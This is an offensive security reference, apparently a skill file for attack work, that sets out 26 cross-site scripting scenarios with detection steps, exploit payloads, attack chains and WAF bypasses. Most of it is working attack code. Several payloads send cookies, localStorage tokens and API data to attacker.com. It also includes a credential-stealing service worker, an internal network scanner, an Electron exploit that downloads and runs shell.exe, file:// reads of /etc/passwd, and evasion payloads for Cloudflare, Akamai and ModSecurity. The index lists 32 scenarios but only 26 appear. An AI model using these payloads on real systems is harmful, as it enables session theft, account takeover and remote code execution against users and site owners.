---
name: scenarios-xss
description: "Real-world attack scenarios for XSS — CVEs, bug bounty disclosures, real engagement chains"
---

# XSS — Real-World Attack Scenarios

> Sources: CVE database · HackerOne/Bugcrowd disclosed · Exploit-DB · Black Hat/DEF CON research · real engagement patterns

## Index
- S01: Reflected XSS in search parameter
- S02: Stored XSS in user profile / comment
- S03: DOM XSS via location.hash
- S04: Blind XSS in admin panel (XSSHunter)
- S05: mXSS — DOMPurify bypass (CVE-2020-26870)
- S06: CSP bypass via JSONP endpoint
- S07: CSP bypass via AngularJS + unsafe-eval
- S08: XSS via SVG file upload
- S09: XSS via HTML file upload
- S10: XSS in WebSocket message
- S11: XSS in HTTP response header injection
- S12: XSS in JSON response with content-type swap
- S13: XSS via Service Worker registration
- S14: XSS→Account Takeover (Slack pattern)
- S15: XSS→Internal Network Scan via fetch()
- S16: XSS→RCE in Electron (nodeIntegration)
- S17: XSS→CSRF chain (cookie-less session in header)
- S18: XSS via Markdown / BBCode parser
- S19: XSS via PDF generator (wkhtmltopdf)
- S20: WAF bypass — Cloudflare
- S21: WAF bypass — Akamai
- S22: WAF bypass — ModSecurity OWASP CRS
- S23: XSS via CRLF injection in header
- S24: XSS via prototype pollution
- S25: XSS via postMessage() from vulnerable origin
- S26: XSS via Angular template sandbox escape
- S27: XSS via template engine (Handlebars, Pug, EJS)
- S28: XSS via JavaScript URI in href
- S29: XSS in error pages (404/500)
- S30: XSS via path parameter reflected in source
- S31: XSS via meta refresh injection
- S32: XSS via DNS rebinding to bypass host check

---

## S01: Reflected XSS in Search Parameter
**Context:** Search bar / query / category filter where input is reflected in HTML without encoding
**Seen in:** Real HackerOne reports — Shopify, GitHub, Twitter, countless bug bounty targets
**Impact:** Session cookie theft, account takeover, credential phishing via fake login form

### Detection
```bash
# Inject unique marker and see if reflected
curl -s "https://target.com/search?q=INJECTTESTMARKER123" | grep "INJECTTESTMARKER123"
# Check if reflection happens in HTML body, attribute, or script context
```

### Exploit
```bash
# Test payloads per context:
# HTML body
https://target.com/search?q=<script>alert(1)</script>
# HTML attribute (break out)
https://target.com/search?q=" autofocus onfocus=alert(1) x="
# JavaScript context (break string)
https://target.com/search?q='-alert(1)-'
# URL/href context
https://target.com/search?q=javascript:alert(1)
```

### Chain
1. Craft URL with payload + auto-submit form (XSS→CSRF)
2. Host on attacker domain or use open redirect
3. Cookie theft via `document.location='https://attacker.com/?c='+document.cookie`
4. Use stolen session for account takeover

### Bypass / Notes
- HTML entity encoding = reflected but not exploitable
- Try URL-encoded (`%3Cscript%3E`), double-encoded (`%253Cscript%253E`)
- If `<` filtered: use `<img src=x onerror=alert(1)>`
- If quotes filtered: use backticks or `/` separators

---

## S02: Stored XSS in User Profile / Comment
**Context:** Forum, comment system, profile bio, product review, support ticket — anything user-controlled stored and viewed by others
**Seen in:** Real HackerOne — Facebook, WordPress, countless CMS plugins
**Impact:** Persistent compromise — every viewer executes attacker JS; admin compromise via XSS Hunter

### Detection
```bash
# Submit a unique marker as profile bio, then grep response
curl -X POST https://target.com/profile -d "bio=UNIQUEXSSTEST123" -b "session=..."
curl -s https://target.com/user/victim | grep "UNIQUEXSSTEST123"
```

### Exploit
```bash
# Standard stored payload
"><script src=https://attacker.com/x.js></script>
# Or via img with onerror
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
# Or via XSSHunter for blind (admin viewing)
"><script src=https://xsshunter.com/s/?id=abc></script>
```

### Chain
1. Inject payload in profile field
2. Admin or other user views profile → XSSHunter triggers
3. Receive callback with victim's cookies / page content
4. Use stolen admin session for full account takeover
5. Escalate to other users via broadcast messages

### Bypass / Notes
- Length limits: split payload across multiple fields
- HTML stripping: use `<svg onload=alert(1)>` (SVG bypasses many filters)
- CSP nonces: see S07

---

## S03: DOM XSS via location.hash
**Context:** Single-page apps reading `location.hash` or `location.search` and writing to innerHTML
**Seen in:** Real — GitHub (HackerOne #142379), Shopify
**Impact:** Account takeover, sensitive data theft, CSRF token exfil

### Detection
```bash
# Manual: open DevTools, check JS source for:
#   - document.location.hash
#   - document.URL
#   - document.referrer
#   - window.name
# Look for: innerHTML, document.write, eval, setTimeout(string)
# Tools: DOM Invader (Burp), domdig, dalfox
```

### Exploit
```bash
# Common pattern: $('div').html(location.hash.substring(1))
# Trigger: https://target.com/page#<img src=x onerror=alert(1)>

# jQuery selector sink:
# $(location.hash) → if hash = <img src=1 onerror=alert(1)>
https://target.com/page#<img src=1 onerror=alert(1)>

# postMessage with origin check bypass:
# parent.postMessage({'html': userInput}, '*')
```

### Chain
1. Find DOM XSS sink with `domdig` or manual review
2. Craft payload in URL fragment (or window.name + navigation)
3. Victim clicks attacker link → DOM XSS fires
4. Steal session, CSRF token, sensitive DOM data

### Bypass / Notes
- URL fragment never sent to server → server-side WAF cannot see
- Use `window.name` for cross-domain persistence
- For source maps, check `_next/static/` or `js.map` files

---

## S04: Blind XSS in Admin Panel (XSSHunter)
**Context:** Admin panel, support ticket, feedback form, log viewer, email field that only admins see
**Seen in:** Real — Shopify, Verizon, AT&T (real HackerOne $10K+ bounties)
**Impact:** Admin account takeover, full backend access, customer data exfil

### Detection
```bash
# Submit XSSHunter payload to every input
# Auto-submit in URL: 
# https://xsshunter.com/app?pk=YOUR_KEY
# Payload template: "><script src=https://xsshunter.com/s/?id=abc></script>
```

### Exploit
```bash
# 1. Create XSSHunter account (or use interact.sh / Burp Collaborator)
# 2. Inject payload in EVERY input that staff sees:
#    - Support ticket subject/body
#    - User report
#    - Email signature
#    - Username/display name
# 3. Wait for callback with:
#    - Page HTML
#    - Cookies
#    - Screenshot (if browser agent)
#    - localStorage / sessionStorage
```

### Chain
1. Get callback from admin's browser
2. Extract session cookie or admin CSRF token
3. Use admin session to access /admin panel
4. Dump users, change passwords, escalate
5. Pivot to other internal services

### Bypass / Notes
- Admin panel may have CSP → use `<base href>` injection
- Some panels sanitize on display → test in ALL fields including headers (User-Agent, Referer)
- Time-based: payload checks Date and only fires during business hours to avoid detection

---

## S05: mXSS — DOMPurify Bypass
**Context:** Apps using DOMPurify for sanitization, but with mutation XSS
**Seen in:** CVE-2020-26870 (DOMPurify <2.0.17), real exploitation in production
**Impact:** Full HTML injection despite sanitization → ATO, malware drop

### Detection
```bash
# Check if DOMPurify is used (search JS bundle):
grep -r "DOMPurify" target.com/static/
# Test mutation XSS vectors:
# <math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>
# <svg><p><style><img src=x onerror=alert(1)></style></p></svg>
```

### Exploit
```bash
# Real DOMPurify bypass (CVE-2020-26870, Mário羯)
<math><mtext><table><mglyph><style><img src=x onerror=alert(1)></style></mglyph></table></mtext></math>

# Other mutation XSS patterns:
<form><math><mtext></form><form><mglyph><style></math><img src onerror=alert(1)>
<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">
```

### Chain
1. Identify DOMPurify version from bundle
2. Find mutation XSS vector for that version
3. Inject into rich text / comment / message field
4. Payload bypasses sanitizer → executes in viewer context
5. Hijack session, exfiltrate CSRF token

### Bypass / Notes
- Always check DOMPurify version (CVE-2020-26870, CVE-2024-45801, etc.)
- New bypasses found regularly — keep up with research
- Test with multiple nested contexts (form, math, svg, table)

---

## S06: CSP Bypass via JSONP Endpoint
**Context:** Site has strict CSP `script-src 'self'` but exposes JSONP endpoint that allows arbitrary callback
**Seen in:** Real — GitHub (HackerOne), Google, multiple bug bounty reports
**Impact:** Full XSS despite strict CSP

### Detection
```bash
# Check CSP header
curl -sI https://target.com/ | grep -i "content-security-policy"

# Find JSONP endpoints (look in JS bundle for /callback= or ?jsonp=)
# Test if endpoints allow arbitrary callback name:
curl -s "https://target.com/api/jsonp?callback=alert(1)//" | head -c 200
curl -s "https://target.com/api?cb=alert" 
```

### Exploit
```bash
# 1. Find JSONP that allows controlled callback
curl "https://target.com/api/users/1?callback=alert"
# Returns: alert({"id":1,...})
# 2. Inject:
<script src="https://target.com/api/users/1?callback=alert(1)//"></script>
```

### Chain
1. CSP analysis: identify missing directives (e.g. `base-uri`, `form-action`)
2. Find JSONP endpoint or AngularJS library
3. Load attacker-controlled script via JSONP callback
4. Execute arbitrary JS despite strict CSP

### Bypass / Notes
- Check `script-src` for `unsafe-inline`, `unsafe-eval`, wildcard
- Check `default-src` fallback
- Look for `data:` and `blob:` in allowed sources
- AngularJS gadgets in old apps (see S07)

---

## S07: CSP Bypass via AngularJS + unsafe-eval
**Context:** Strict CSP but loads old AngularJS (1.x) which allows template sandbox escape
**Seen in:** Real — Google CTF, bug bounty reports
**Impact:** CSP bypass → full XSS

### Detection
```bash
# Check if AngularJS 1.x is loaded (in any allowed source)
grep "angular" target.com/static/*.js | head
# Check for ng-app
curl -s https://target.com/page | grep "ng-app"
```

### Exploit
```bash
# AngularJS 1.x sandbox escape payload
"><script src=https://target.com/static/angular.min.js></script><div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}
# Or using constructor:
{{constructor.constructor('alert(1)')()}}
```

### Chain
1. CSP allows 'self' and AngularJS is loaded from 'self'
2. Inject AngularJS template with sandbox escape
3. Bypass CSP since AngularJS is from allowed origin
4. Execute arbitrary JS

### Bypass / Notes
- Newer AngularJS versions patched the sandbox
- Sometimes CSP allows `'unsafe-eval'` for legitimate reasons
- Check if CSP has `script-src 'self' 'unsafe-eval'`

---

## S08: XSS via SVG File Upload
**Context:** Avatar / image upload that allows SVG but doesn't sanitize
**Seen in:** Real — WordPress, Shopify (HackerOne), Facebook
**Impact:** Persistent XSS, account takeover when victims view profile

### Detection
```bash
# Create minimal SVG with JS:
cat > xss.svg << 'EOF'
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
EOF
# Upload to target
curl -X POST -F "file=@xss.svg" https://target.com/upload -b "session=..."
```

### Exploit
```bash
# SVG with embedded JS (multiple techniques):
# onload in svg tag
<svg onload="alert(document.domain)">
# onload in use tag
<svg><use xlink:href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='alert(1)' /></svg>#x">
# XSS via SVG with foreignObject
<svg><foreignObject><iframe src="javascript:alert(1)"></iframe></foreignObject></svg>
# XSS via SVG with script
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>
```

### Chain
1. Upload SVG with XSS payload as avatar/image
2. Set as profile picture
3. When admin or user views profile → XSS fires
4. Session theft → ATO

### Bypass / Notes
- Many uploaders strip `<script>` but not `<svg onload>`
- Serve SVG with `Content-Type: image/svg+xml` → still executes JS
- Some CDNs sanitize → bypass via encoded payload or polyglot

---

## S09: XSS via HTML File Upload
**Context:** File upload that allows HTML files (intentionally or via misconfiguration)
**Seen in:** Real — multiple bug bounty $5K+ bounties
**Impact:** Stored XSS, full client-side attack surface

### Detection
```bash
# Create HTML with XSS:
cat > xss.html << 'EOF'
<html><body><script>alert(document.cookie)</script></body></html>
EOF
# Upload
curl -X POST -F "file=@xss.html" -F "type=document" https://target.com/upload
# Check if file is served with text/html content-type
curl -sI https://target.com/uploads/xss.html | grep content-type
```

### Exploit
```bash
# 1. Upload HTML file with XSS
# 2. Get URL of uploaded file (often same origin)
# 3. Victim visits URL → XSS executes in origin context
# 4. Phishing: clone login page, host on same origin
```

### Chain
1. Upload HTML with XSS to legitimate file host
2. Share link with victim (often same origin → no warnings)
3. Execute JS in origin context → steal cookies, CSRF tokens
4. Phishing: serve fake login page from same origin

### Bypass / Notes
- Many sites serve uploads as `application/octet-stream` → won't execute
- Some sites use separate CDN domain → still good for phishing
- Check if `X-Content-Type-Options: nosniff` is set

---

## S10: XSS in WebSocket Message
**Context:** WebSocket connection where server pushes messages with user-controlled data
**Seen in:** Real — trading platforms, chat systems, real-time dashboards
**Impact:** XSS in authenticated context → ATO, trade manipulation

### Detection
```bash
# 1. Open DevTools → Network → WS tab
# 2. Observe messages containing user input (chat, usernames, etc.)
# 3. Try to inject:
ws.send('{"msg":"<img src=x onerror=alert(1)>"}')
```

### Exploit
```javascript
// WebSocket XSS exfiltration:
// 1. Connect to WS
const ws = new WebSocket('wss://target.com/ws');
ws.onmessage = (e) => {
  // 2. Process messages, check if any contain user input
  // 3. If yes, innerHTML sinks will fire
};
// 4. Send crafted message to self
ws.send('{"user":"<img src=x onerror=fetch(\"https://attacker.com/?c=\"+document.cookie)>"}');
```

### Chain
1. Find WebSocket endpoint via DevTools
2. Identify messages containing user input
3. Determine if server pushes back to other users
4. Inject XSS payload, other users receive and execute

### Bypass / Notes
- WebSocket payloads not inspected by most WAFs
- Some apps HTML-encode on send but not on display
- Check if connection requires auth token → use victim's auth

---

## S11: XSS in HTTP Response Header Injection
**Context:** App reflects user input in response header (Location, Set-Cookie, custom header)
**Seen in:** Real — many login redirects, debug headers
**Impact:** CRLF injection → header injection → XSS

### Detection
```bash
# Test CRLF in reflected header value:
curl -sI "https://target.com/redirect?url=test%0d%0aX-Injected:%20hello" | grep "X-Injected"
# Test XSS via header:
curl -sI "https://target.com/?x=<script>alert(1)</script>" -H "X-Debug: test"
```

### Exploit
```bash
# CRLF injection in Location header:
# If app returns: Location: /login?redirect=<user_input>
# Inject:
/login?redirect=/%0d%0a%0d%0a<script>alert(1)</script>
# Results in: 
# HTTP/1.1 302 Found
# Location: /login?redirect=/
# 
# <script>alert(1)</script>
```

### Chain
1. Find CRLF injection in header
2. Inject arbitrary header (`Set-Cookie: session=attacker`)
3. Or inject body with XSS payload
4. Victim visits crafted URL → XSS fires in response body

### Bypass / Notes
- Modern frameworks filter CRLF in headers
- Older PHP/ASP/Node apps still vulnerable
- Check redirect parameters carefully

---

## S12: XSS in JSON Response with Content-Type Swap
**Context:** API returns JSON with user input; if you can change content-type to text/html, browser renders it
**Seen in:** Real — multiple HackerOne reports
**Impact:** Stored XSS via JSON endpoint

### Detection
```bash
# Test content-type negotiation:
curl -s "https://target.com/api/user/1" -H "Accept: text/html" | head -c 500
curl -s "https://target.com/api/user/1.json" -H "Accept: text/html"
# Test with .html extension trick:
curl -s "https://target.com/api/user/1.html"
```

### Exploit
```bash
# If endpoint returns user input as JSON like {"name":"<user_input>"}
# But allows content-type text/html:
# 1. Find content-type swap (file extension, Accept header, parameter)
# 2. Inject: {"name":"</script><script>alert(1)</script>"}
# 3. Server returns text/html → browser renders as HTML
```

### Chain
1. Find JSON endpoint with content-type confusion
2. Inject XSS payload as JSON value
3. When victim loads URL → browser renders JSON as HTML → XSS fires
4. Same-origin as app → cookies accessible

### Bypass / Notes
- Most modern browsers enforce JSON content-type safely
- Old IE / old mobile browsers vulnerable
- Service workers can intercept and re-render

---

## S13: XSS via Service Worker Registration
**Context:** Attacker can register Service Worker (via XSS or open redirect) that intercepts all future requests
**Seen in:** Real — research and CTF, possible in prod with XSS chain
**Impact:** Persistent XSS — SW survives across page loads, can intercept all requests including auth flows

### Detection
```javascript
// 1. Find any XSS on target.com (even self-XSS)
// 2. Check if Service Workers are allowed (no restrictive CSP on script-src)
// 3. Register:
navigator.serviceWorker.register('/sw.js', {scope: '/'})
// 4. sw.js intercepts all fetches
```

### Exploit
```javascript
// sw.js
self.addEventListener('fetch', event => {
  const url = new URL(event.request.url);
  if (url.pathname === '/login') {
    // Intercept login → steal credentials
    event.respondWith(
      fetch(event.request).then(r => r.text()).then(body => {
        fetch('https://attacker.com/?data=' + btoa(body));
        return new Response(body);
      })
    );
  }
});
```

### Chain
1. Find any XSS (even reflected, even self-XSS)
2. Register Service Worker from XSS context
3. SW intercepts ALL future requests on scope
4. Steal credentials, inject XSS into all pages, persistent compromise

### Bypass / Notes
- SW requires HTTPS
- Requires script-src to allow sw.js source
- Some browsers limit SW scope to same path as registration

---

## S14: XSS→Account Takeover (Slack Pattern)
**Context:** XSS in workspace context allows reading session, making API calls as victim
**Seen in:** Real — Slack XSS → workspace takeover (HackerOne $5,000)
**Impact:** Full account/workspace takeover

### Detection
```bash
# Any XSS in workspace / org / team context
# Check if cookies are HttpOnly (if not, simple steal)
# Even if HttpOnly, can make API calls from XSS context
```

### Exploit
```javascript
// 1. XSS payload reads DOM for session/CSRF
fetch('/api/me').then(r => r.json()).then(me => {
  fetch('https://attacker.com/?victim=' + JSON.stringify(me));
});
// 2. Use victim's cookies to call sensitive API (e.g., change password)
// 3. Add attacker's email as secondary admin
// 4. Use password reset → attacker gets reset link
```

### Chain
1. Find XSS in target context
2. Read victim's auth state via API calls
3. If can change email: change victim's email to attacker → password reset
4. If can add API tokens: add attacker's token to victim's account
5. Full account takeover

### Bypass / Notes
- Even HttpOnly cookies can be bypassed by making API calls from XSS
- Many SaaS apps use bearer tokens in localStorage → easy XSS theft

---

## S15: XSS→Internal Network Scan via fetch()
**Context:** XSS in public-facing app, app can reach internal network (192.168.x.x, 10.x.x.x, 172.16.x.x)
**Seen in:** Real — multiple bug bounty reports, internal pentests
**Impact:** Internal port/service discovery, internal admin panel access

### Detection
```javascript
// From XSS, try fetch internal URLs:
fetch('http://192.168.1.1/').then(r => r.text()).then(html => {
  fetch('https://attacker.com/?internal=' + btoa(html));
}).catch(e => /* timeout = port closed */);
```

### Exploit
```javascript
// Internal network scan from XSS:
// Try common internal IPs and ports
const targets = [
  'http://10.0.0.1', 'http://192.168.0.1', 'http://172.16.0.1',
  'http://localhost:8080', 'http://localhost:3000',
  'http://internal-admin:80', 'http://kubernetes.default.svc:443'
];
Promise.allSettled(targets.map(t => 
  fetch(t, {mode: 'no-cors'}).then(() => t).catch(() => null)
)).then(results => {
  fetch('https://attacker.com/?scan=' + JSON.stringify(results));
});
// For full response capture: need to bypass CORS using
// <img src=internal> or <script src=internal>
```

### Chain
1. Get XSS on public app
2. Scan internal network (10.x, 192.168.x, 172.16.x, internal DNS)
3. Find internal admin panels (Jenkins, Grafana, Kibana)
4. Use XSS as proxy to interact with internal services
5. Access metadata service (169.254.169.254) → cloud creds

### Bypass / Notes
- CORS will block reading responses, but timing-based still works
- Use `<img>` to detect open ports (no error = port open)
- WebSocket doesn't enforce CORS in some cases

---

## S16: XSS→RCE in Electron (nodeIntegration)
**Context:** Electron desktop app with nodeIntegration enabled
**Seen in:** Real — CVE-2020-15257 (BSI), multiple disclosed bugs
**Impact:** RCE on user's machine when visiting XSS

### Detection
```bash
# 1. Find Electron app's renderer code
# 2. Check for: nodeIntegration: true, contextIsolation: false
# 3. Test if XSS-able input exists
```

### Exploit
```javascript
// If XSS fires in Electron renderer with nodeIntegration:
require('child_process').exec('calc.exe', (e, out) => {
  // RCE on user's machine
});
// Or:
const { exec } = require('child_process');
exec('curl https://attacker.com/shell.exe -o /tmp/s.exe && /tmp/s.exe');
```

### Chain
1. Find Electron app with XSS-vulnerable input
2. Verify nodeIntegration / preload misconfig
3. Inject XSS payload with `require('child_process')`
4. Get reverse shell on user's machine
5. Pivot to internal network from compromised endpoint

### Bypass / Notes
- Newer Electron disabled nodeIntegration by default
- Check `webPreferences` in main.js
- Sometimes contextBridge exposed dangerous APIs

---

## S17: XSS→CSRF Chain (Header-Based Auth)
**Context:** App uses bearer token in header instead of cookies (e.g., localStorage JWT)
**Seen in:** Real — modern SPAs (React, Vue, Angular) commonly use this
**Impact:** Token theft via XSS → direct API access

### Detection
```bash
# Check if app uses localStorage/sessionStorage for auth:
# DevTools → Application → Local Storage
# Common keys: token, access_token, jwt, auth
```

### Exploit
```javascript
// If XSS fires:
const token = localStorage.getItem('access_token') || 
              localStorage.getItem('jwt');
// Exfiltrate
fetch('https://attacker.com/?t=' + token);
// Attacker now has victim's token → call any API as victim
```

### Chain
1. Find XSS in SPA
2. Steal token from localStorage
3. Use token in API calls from attacker's machine
4. Full account access without needing cookies

### Bypass / Notes
- HttpOnly cookies actually protect against this
- Modern security advice: use HttpOnly cookies + CSRF tokens
- If app does both, more complex chain needed

---

## S18: XSS via Markdown / BBCode Parser
**Context:** Forum or comment system that parses markdown/BBCode but allows raw HTML
**Seen in:** Real — GitHub (limited, GFM), Discourse, multiple bug bounty
**Impact:** Stored XSS via "safe" formatting syntax

### Detection
```bash
# Test markdown raw HTML:
[click](javascript:alert(1))
<img src=x onerror=alert(1)>
# GitHub-specific: 
# ![alt](javascript:alert(1))  # blocked
# But: 
# [text](https://x.com" onmouseover="alert(1))  # not blocked → XSS in preview
```

### Exploit
```bash
# Common markdown XSS payloads:
# 1. Raw HTML allowed
Hello [b]user[/b] <img src=x onerror=alert(1)>

# 2. Image syntax with javascript: URI
![alt](javascript:alert(1))

# 3. Link with javascript: URI
[Click me](javascript:alert(1))

# 4. BBCode with img
[img]javascript:alert(1)[/img]
[img]x" onerror="alert(1)[/img]

# 5. data: URI
![alt](data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==)
```

### Chain
1. Find markdown input
2. Test raw HTML / javascript: URI / event handlers
3. Inject stored XSS in comment/post
4. Viewer executes payload → session theft

### Bypass / Notes
- GitHub: < and > blocked, but quote escapes can leak
- Discourse: limited HTML, but `[url=javascript:...]` sometimes works
- Always check the rendered HTML, not source

---

## S19: XSS via PDF Generator (wkhtmltopdf / Puppeteer)
**Context:** Server converts HTML to PDF for invoices, reports, etc. with XSS-able content
**Seen in:** Real — wkhtmltopdf runs full browser, can execute JS
**Impact:** Stored XSS that fires during PDF generation → can pivot to server

### Detection
```bash
# If app generates PDF from user content (invoices, reports, receipts):
# Submit HTML/JS in the content
# <script>document.location='https://attacker.com/?c='+document.cookie</script>
```

### Exploit
```html
<!-- In the content field that gets PDF-rendered -->
<script>fetch('https://attacker.com/?p='+document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/?p='+document.cookie)">
<!-- If wkhtmltopdf: can read local files -->
<iframe src="file:///etc/passwd"></iframe>
<iframe src="file:///proc/self/environ"></iframe>
```

### Chain
1. Inject XSS into PDF content
2. When PDF is generated, JS executes
3. Cookies for PDF service account leaked
4. Or read local files via wkhtmltopdf file:// access
5. Pivot to internal services

### Bypass / Notes
- Puppeteer/Chrome headless: full file:// read disabled
- wkhtmltopdf: file:// read often allowed (CVE-2022-35583)
- PhantomJS: deprecated, full RCE if not sandboxed

---

## S20: WAF Bypass — Cloudflare
**Context:** Cloudflare WAF blocking standard XSS payloads
**Seen in:** Real — most modern apps behind Cloudflare
**Impact:** Successful XSS despite WAF

### Detection
```bash
# Test basic payload first:
curl -s "https://target.com/?q=<script>alert(1)</script>" | grep -c "Blocked"
# Test for Cloudflare WAF
curl -sI https://target.com/ | grep -i "cloudflare\|cf-ray"
```

### Exploit
```bash
# Cloudflare bypasses (real ones from bug bounty):
# 1. Mixed case: <ScRiPt>alert(1)</sCrIpT>
# 2. Tab/CR between tags: <script\n>alert(1)</script>
# 3. SVG-based: <svg/onload=alert(1)>
# 4. HTML entity: <a href="&#x6A;avascript:alert(1)">click</a>
# 5. Empty src: <img src="" onerror=alert(1)>
# 6. Encoding: %3Cscript%3E
# 7. Nested: <scr<script>ipt>alert(1)</scr</script>ipt>
# 8. Unicode: <script>alert(1)<\u002Fscript>
# 9. SVG use: <svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='alert(1)'/></svg>#x">
```

### Chain
1. Test WAF blocks basic payloads
2. Try multiple bypass techniques from list
3. Use `<svg onload>` or `<details open ontoggle>` as primary
4. Combine with HTTP parameter pollution

### Bypass / Notes
- Cloudflare WAF improves over time — old bypasses may be patched
- New bypasses published regularly on Twitter (@PortSwigger, @garethheyes)
- Try unusual tags: `<math>`, `<animate>`, `<set>`

---

## S21: WAF Bypass — Akamai
**Context:** Akamai WAF (often on enterprise sites)
**Seen in:** Real — enterprise apps, financial services
**Impact:** XSS on WAF-protected app

### Detection
```bash
# Check if behind Akamai
curl -sI https://target.com/ | grep -i "akamai\|x-akamai"
# Test basic payloads first
```

### Exploit
```bash
# Akamai bypasses (tested in real engagements):
# 1. Unicode normalization
<script>ale\u0072t(1)</script>
# 2. HTML comments
<!--><script>alert(1)</script>
# 3. Half-width/Full-width Unicode
＜script＞alert(1)＜/script＞
# 4. Encoded attribute
<img src="x" onerror="&#97;lert(1)">
# 5. Mutation XSS
<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>
# 6. JSON content-type
POST /api/x {"q":"<script>alert(1)</script>"} 
# Some Akamai configs don't inspect JSON body
```

### Chain
1. Identify WAF vendor (Akamai via headers, body patterns)
2. Apply vendor-specific bypasses
3. Test in different HTTP methods (GET, POST, PUT)
4. Test in different content-types (JSON, XML, multipart)

### Bypass / Notes
- Akamai frequently updates rules
- Some bypasses work only on specific deployments
- Always have a backup plan (chain with another vuln)

---

## S22: WAF Bypass — ModSecurity OWASP CRS
**Context:** ModSecurity with OWASP Core Rule Set (CRS) — open source WAF
**Seen in:** Real — many self-hosted apps, Linux servers
**Impact:** XSS on WAF-protected app

### Detection
```bash
# Identify ModSecurity
curl -sI https://target.com/?q=' | head
# Often returns 403 with specific error
# Or check response headers for Server: Apache/ModSecurity
```

### Exploit
```bash
# ModSecurity CRS bypasses (from GitHub issues, real research):
# 1. UTF-8 BOM injection
\xEF\xBB\xBF<script>alert(1)</script>
# 2. Comment splitting
<scr<!--comment-->ipt>alert(1)</scr<!--comment-->ipt>
# 3. CRLF injection
<a href="java\tscript:alert(1)">x</a>
# 4. Non-ASCII space
<img/src=x/onerror=\x0Balert(1)>
# 5. Tag closing with newline
<img\nsrc=x\nonerror=alert(1)>
# 6. Inside attribute with tab
<a href="ja	va	script:alert(1)">x</a>
```

### Chain
1. Identify ModSecurity (error page, response, behavior)
2. Apply CRS-specific bypasses
3. Test with different encodings (UTF-7, UTF-16, etc.)
4. Try charset parameter trick: `?encoding=utf-7`

### Bypass / Notes
- CRS has different paranoia levels (PL1-PL4)
- Higher paranoia = more false positives but harder to bypass
- Always check Charset negotiation

---

## S23: XSS via CRLF Injection in Header
**Context:** Server reflects user input in HTTP header without filtering
**Seen in:** Real — older PHP, custom Node.js apps
**Impact:** Header injection → set cookies, redirect, or inject body

### Detection
```bash
# Test CRLF in URL:
curl -sI "https://target.com/?url=test%0d%0aSet-Cookie:%20injected=1"
# Test in headers:
curl -s -H "X-Forwarded-For: test%0d%0aX-Injected: 1" https://target.com/
```

### Exploit
```bash
# CRLF injection in Location header:
# Server returns: Location: /login?next=<user_input>
# Inject: 
https://target.com/redirect?next=javascript:alert(1)
# Or: 
https://target.com/redirect?next=/%0d%0a%0d%0a<script>alert(1)</script>
# Or: 
https://target.com/redirect?next=/%0d%0aSet-Cookie:%20admin=1
```

### Chain
1. Find CRLF injection
2. Inject arbitrary header (Set-Cookie, Content-Type, etc.)
3. Or inject body with HTML/XSS
4. Victim follows crafted URL → controlled response

### Bypass / Notes
- Most modern frameworks strip CRLF in header values
- Old PHP, Node.js, Python apps may still be vulnerable
- RFC 7230 prohibits CRLF in header values

---

## S24: XSS via Prototype Pollution
**Context:** JS app with prototype pollution vulnerability
**Seen in:** Real — CVE-2019-10744 (lodash), many Node.js apps
**Impact:** Pollution of object properties → XSS in specific sinks

### Detection
```bash
# Test prototype pollution in URL params, JSON body, or merge functions:
curl -X POST https://target.com/api/merge -H "Content-Type: application/json" -d '{"__proto__":{"isAdmin":true}}'
# Or in URL:
https://target.com/?__proto__[isAdmin]=true
```

### Exploit
```javascript
// 1. Find prototype pollution sink
// 2. Pollute properties that get rendered:
//    - innerHTML, outerHTML → pollution of these can cause XSS
//    - Transport config, framework options
// 3. Real chain:
//    Pollute: {"__proto__":{"html":"<img src=x onerror=alert(1)>"}}
//    Code reads config.html → injects to DOM
// 4. Or pollute jQuery's html() / after() with malicious HTML
```

### Chain
1. Find prototype pollution (URL, JSON, query parser)
2. Identify XSS sink that reads from prototype
3. Pollute property that ends up in innerHTML
4. Trigger sink → XSS fires

### Bypass / Notes
- Object.freeze(Object.prototype) prevents direct pollution
- But Object.create(null) doesn't have prototype → check carefully
- Server-side prototype pollution can also lead to RCE

---

## S25: XSS via postMessage() from Vulnerable Origin
**Context:** App listens to postMessage() without proper origin check
**Seen in:** Real — Facebook, multiple bug bounty reports
**Impact:** XSS in target origin from any origin

### Detection
```bash
# Search for postMessage listeners in JS bundle:
grep -o "addEventListener(['\"]message" target.com/static/*.js
# Check for origin checks:
grep -A 5 "addEventListener.*message" target.com/static/*.js
```

### Exploit
```javascript
// If app does:
// window.addEventListener('message', e => { 
//   document.getElementById('x').innerHTML = e.data;
// });
// Without checking e.origin:

// From attacker origin (anywhere):
window.opener.postMessage('<img src=x onerror=alert(1)>', '*');
// Or open new window:
const w = window.open('https://target.com/vulnerable');
setTimeout(() => {
  w.postMessage('<img src=x onerror=alert(1)>', '*');
}, 1000);
```

### Chain
1. Find postMessage listener with no/wrong origin check
2. Find sink that renders message data
3. From any origin, send crafted message
4. If listener does innerHTML → XSS

### Bypass / Notes
- Many apps do `if (e.origin.endsWith('target.com'))` → bypass with `evil.target.com` subdomain takeovers
- Always check exact origin match, not pattern
- Some apps use allowlist via array → check array values

---

## S26: XSS via Angular Template Sandbox Escape
**Context:** Old AngularJS 1.x with user-controlled template
**Seen in:** Real — Google, many enterprise apps
**Impact:** Sandbox escape → XSS via template injection

### Detection
```bash
# Check if Angular 1.x is used:
curl -s https://target.com/ | grep "ng-app"
# Or in bundle:
grep "angular" target.com/static/*.js | head
```

### Exploit
```bash
# AngularJS 1.x sandbox escape (1.0-1.5):
{{constructor.constructor('alert(1)')()}}
# With CSP bypass using constructor:
"><script src=angular.min.js></script><div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}
# Sandbox escape via toString:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)')}}
```

### Chain
1. Find user input rendered in Angular template
2. Inject Angular expression
3. Use sandbox escape to break out
4. Execute arbitrary JS in app context

### Bypass / Notes
- Angular 1.6+ removed sandbox
- Newer Angular has built-in sanitizer
- CSP without `unsafe-eval` blocks `constructor` approach

---

